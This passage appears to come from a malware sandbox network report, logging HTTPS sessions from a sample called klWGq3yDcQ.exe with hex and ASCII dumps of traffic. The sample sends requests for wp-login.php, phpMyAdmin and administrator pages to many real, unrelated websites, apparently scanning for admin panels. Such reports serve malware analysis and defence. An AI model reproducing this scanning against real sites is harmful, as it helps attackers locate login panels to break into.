Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:38 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	59949	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	178	OUT	GET /en/wp-login.php HTTP/1.1 Host: www.dstaq.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	1086	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 37 2e 39 32 33 31 30 33 37 32 39 34 34 36 32 36 31 33 30 39 32 32 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978377.92310372944626130922Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Opti
2023-11-26 05:59:38 UTC	166	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-11-26 05:59:38 UTC	207	IN	Data Raw: 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	59348	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	256	OUT	GET /saml/index.php?page=%2Fadministrator%2F HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	1094	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheCache-Control: no-cache, must-revalida
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	59691	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	177	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	411	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 31 35 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 6d 69 63 72 6f 2d 64 65 73 69 67 6e 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheX-Powered-By: PHP/7.4.15Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://micro-design.com/wp-json/>; rel="https://api
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><meta name='robots' content='noindex, follow' /><script>win
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 32 32 32 32 32 32 32 32 32 32 32 32 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 36 36 36 36 36 36 36 36 36 36 36 37 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 65 6d 3b 7d 68 33 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 38 38 38 38 38 38 38 38 38 38 38 39 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 65 6d 3b 7d 68 34 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 Data Ascii: ntent h1{font-size:40px;font-size:2.2222222222222rem;line-height:1.4em;}h2,.entry-content h2{font-size:30px;font-size:1.6666666666667rem;line-height:1.25em;}h3,.entry-content h3{font-size:25px;font-size:1.3888888888889rem;line-height:1.2em;}h4,.entry-cont
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 2e 35 65 6d 20 31 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 2d 63 6f 6e 74 65 6e 74 20 2e 63 61 72 74 5f 69 74 65 6d 2e 65 64 64 5f 63 68 65 63 6b 6f 75 74 20 7b 70 61 64 64 69 6e 67 3a 20 31 65 6d 20 31 2e 35 65 6d 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 3b 7d 2e 61 73 74 72 61 2d 63 61 72 74 2d 64 72 61 77 65 72 20 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 20 3e 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 Data Ascii: .5em 1.5em;margin: 0;text-align: center;}.astra-cart-drawer .astra-cart-drawer-content .cart_item.edd_checkout {padding: 1em 1.5em 0;text-align: center;margin-top: 0;}.astra-cart-drawer .widget_shopping_cart_content > .woocommerce-mini-cart__empty-message
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	59950	76.223.105.230	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	207	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: saudi-jamac.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	288	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 36 34 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 44 50 53 2f 32 2e 30 2e 30 2b 73 68 61 2d 33 32 31 30 62 34 39 0d 0a 58 2d 56 65 72 73 69 6f 6e 3a 20 33 32 31 30 62 34 39 0d 0a 58 2d 53 69 74 65 49 64 3a 20 75 73 2d 65 61 73 74 2d 31 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 64 70 73 5f 73 69 74 65 5f 69 64 3d 75 73 2d 65 61 73 74 2d 31 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-3210b49X-Version: 3210b49X-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Sun, 26 Nov 2023 05
2023-11-26 05:59:38 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	59948	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	1085	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 37 2e 39 37 30 31 30 33 36 33 34 30 34 30 37 32 37 39 30 32 35 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978377.9701036340407279025Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Optio
2023-11-26 05:59:38 UTC	167	IN	Data Raw: 62 33 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b31 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-11-26 05:59:38 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-11-26 05:59:38 UTC	206	IN	Data Raw: 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	59774	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	227	OUT	GET /administrator/ HTTP/1.1 Host: www.beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: OF=3dbfg2bnrmlhvmjhpi48421sg2 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
